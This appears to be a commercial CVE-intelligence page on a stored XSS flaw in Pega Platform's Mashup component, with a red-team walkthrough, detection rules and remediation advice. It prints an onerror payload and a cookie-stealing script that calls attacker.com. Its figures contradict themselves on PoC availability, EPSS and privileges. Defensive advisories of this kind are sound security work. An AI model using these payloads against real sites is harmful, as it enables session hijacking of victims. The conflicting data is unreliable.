☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2161

CVE-2025-2161 Cross-Site Scripting in Pegasystems
📅 PUBLISHED: 2025-04-14 14:19 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2161 is a stored Cross-Site Scripting (XSS) vulnerability affecting Pega Platform versions 7.2.1 through Infinity 24.2.1. The flaw resides in the Mashup component, allowing an attacker to inject malicious scripts into web pages rendered by the Pega Mashup. When a victim user interacts with the compromised Mashup interface, the injected script executes in the context of their browser session, potentially leading to session hijacking, data exfiltration, or unauthorized actions. The vulnerability has a CVSS score of 7.1 (High) and currently has no known public exploit or patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the widespread use of Pega Platform in enterprise environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R)
  • Scope: Changed (S:C)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

The vulnerability is exploitable remotely without authentication, but requires user interaction (e.g., clicking a link or visiting a crafted page). The scope change indicates that the injected script can affect resources beyond the vulnerable component. The overall threat level is High due to the potential for data theft and session compromise in enterprise deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Pega Mashup component. The Mashup feature allows embedding Pega application content into external web pages. The flaw arises from improper sanitization of user-supplied input that is later rendered in the Mashup context. An attacker can craft a malicious payload (e.g., JavaScript) and inject it via a vulnerable input field or parameter. When the Mashup loads the content, the payload executes in the victim's browser, bypassing same-origin policy restrictions due to the Mashup's cross-origin embedding.

The attack flow:

  1. Attacker identifies a vulnerable input field in a Pega application that uses Mashup.
  2. Attacker submits a payload like <script>alert('XSS')</script> or more sophisticated code to steal cookies or perform actions on behalf of the victim.
  3. The payload is stored in the Pega database.
  4. When a victim accesses the Mashup page, the payload is rendered and executed.
  5. The attacker can then exfiltrate session tokens, redirect users, or perform actions as the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pega Mashup rendering without sanitization
function renderMashupContent(data) {
    document.getElementById('mashup-container').innerHTML = data.content;
}

Patched Code (Conceptual):

// Pega Mashup rendering with output encoding
function renderMashupContent(data) {
    var sanitized = DOMPurify.sanitize(data.content);
    document.getElementById('mashup-container').innerHTML = sanitized;
}

The vulnerable code directly assigns user-controlled data to innerHTML, allowing script injection. The patched version uses a sanitization library (e.g., DOMPurify) to strip malicious content before rendering.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Access to a vulnerable Pega Platform instance (version 7.2.1 to 24.2.1).
  • A user account with permission to submit data to a Mashup-enabled form.
  • A web browser with developer tools.

Exploitation Steps:

  1. Identify a vulnerable input field in a Pega application that uses Mashup.
  2. Inject a payload such as:
    <img src=x onerror=alert(document.cookie)>
    
  3. Submit the form. The payload is stored.
  4. Craft a URL that triggers the Mashup page containing the stored payload.
  5. Send the URL to a victim (social engineering).
  6. When the victim loads the page, the payload executes, exfiltrating cookies or performing actions.

Example Payload for Session Hijacking:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection Steps:

  1. Monitor web application logs for unusual input patterns (e.g., <script>, onerror, javascript:).
  2. Use WAF rules to block common XSS payloads.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.
  4. Conduct regular security scans for XSS vulnerabilities.

Hardening Steps:

  1. Apply input validation and output encoding for all user-supplied data.
  2. Use a Content Security Policy (CSP) that disallows inline scripts.
  3. Upgrade to a patched version once available.
  4. Disable Mashup functionality if not required.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing cookie data.
    • Unusual Referer headers pointing to Pega Mashup pages.
  • Host IOCs:
    • Presence of unexpected JavaScript code in Pega database fields.
    • Browser console errors related to CSP violations.
  • Log IOCs:
    • Web server logs showing requests with encoded XSS payloads.
    • Application logs with entries containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2025_2161_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Pega Mashup"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2161"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/i
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-2161 XSS Attempt in Pega Mashup
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in HTTP requests to Pega Mashup endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/prweb/'
            - '/mashup/'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in form fields
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2161 XSS Attempt in Pega Mashup"; flow:to_server,established; content:"/prweb/"; http_uri; nocase; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Mashup component if not required for business operations.
  2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  3. Apply strict Content Security Policy (CSP) headers:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
    
  4. Conduct a security audit of all Pega applications using Mashup.

Long-Term Fix:

  • Upgrade to a patched version once released by Pegasystems.
  • Implement input validation and output encoding in all Pega applications.
  • Regularly review and update security configurations.

Workaround:

  • Use the Pega Platform's built-in security features to sanitize user input before storage.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Pega Platform
Pega Mashup
Pega PRPC

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2161/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.